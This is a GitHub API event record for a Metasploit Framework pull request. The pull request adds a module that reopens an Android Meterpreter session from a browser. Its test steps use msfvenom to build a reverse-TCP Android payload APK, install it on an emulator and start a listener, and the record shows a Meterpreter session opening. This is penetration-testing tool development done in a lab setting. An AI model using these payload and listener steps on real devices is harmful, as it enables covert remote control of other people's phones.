{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5899","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5899/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5899/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5899/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5899","id":103580913,"number":5899,"title":"Add aux module to be able to open android meterpreter from a browser","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":2,"created_at":"2015-08-27T19:48:31Z","updated_at":"2015-09-01T23:06:32Z","closed_at":"2015-09-01T22:38:28Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5899","html_url":"https://github.com/rapid7/metasploit-framework/pull/5899","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5899.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5899.patch"},"body":"This auxiliary module allows you to open an android meterpreter session again from a browser.\r\n\r\n**To test this, you must make sure this is in master: https://github.com/rapid7/metasploit-payloads/pull/24**\r\n\r\n\r\nAnd then you go ahead and do this: \r\n\r\n- [x] ```./msfvenom -p android/meterpreter/reverse_tcp lhost=IP lport=4444 -o /tmp/android.apk```\r\n- [x] Start an emulator\r\n- [x] ```tools/install_msf_apk.sh /tmp/android.apk``` (this will install and open the payload)\r\n- [x] Start a msfconsole\r\n- [x] Start a listener for android/meterpreter/reverse_tcp. If you get a session, just exit it, and restart the listener again.\r\n- [x] In msfconsole (either you start a new one or use the same one), do: ```use auxiliary/server/android_browsable_msf_launch```\r\n- [x] ```set URIPATH /test```\r\n- [x] ```run```\r\n- [x] Go back to the Android emulator, open the default browser. Looks like this:\r\n\r\n<img width=\"364\" alt=\"screen shot 2015-08-27 at 2 43 56 pm\" src=\"https://cloud.githubusercontent.com/assets/1170914/9531201/40044924-4cca-11e5-8292-142737b89b4c.png\">\r\n\r\n- [ ] Go to the URL that android_browsable_msf_launch is serving\r\n- [ ] The android payload listener should get a session:\r\n\r\n```\r\nmsf exploit(handler) > rerun\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 192.168.1.64:4444 \r\n[*] Starting the payload handler...\r\n[*] Sending stage (58381 bytes) to 192.168.1.64\r\n[*] Meterpreter session 6 opened (192.168.1.64:4444 -> 192.168.1.64:51166) at 2015-08-27 14:36:07 -0500\r\n\r\nmeterpreter > \r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/136888030","html_url":"https://github.com/rapid7/metasploit-framework/pull/5899#issuecomment-136888030","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5899","id":136888030,"user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"created_at":"2015-09-01T23:06:32Z","updated_at":"2015-09-01T23:06:32Z","body":"Cool thanks @bcook-r7 @OJ !"}}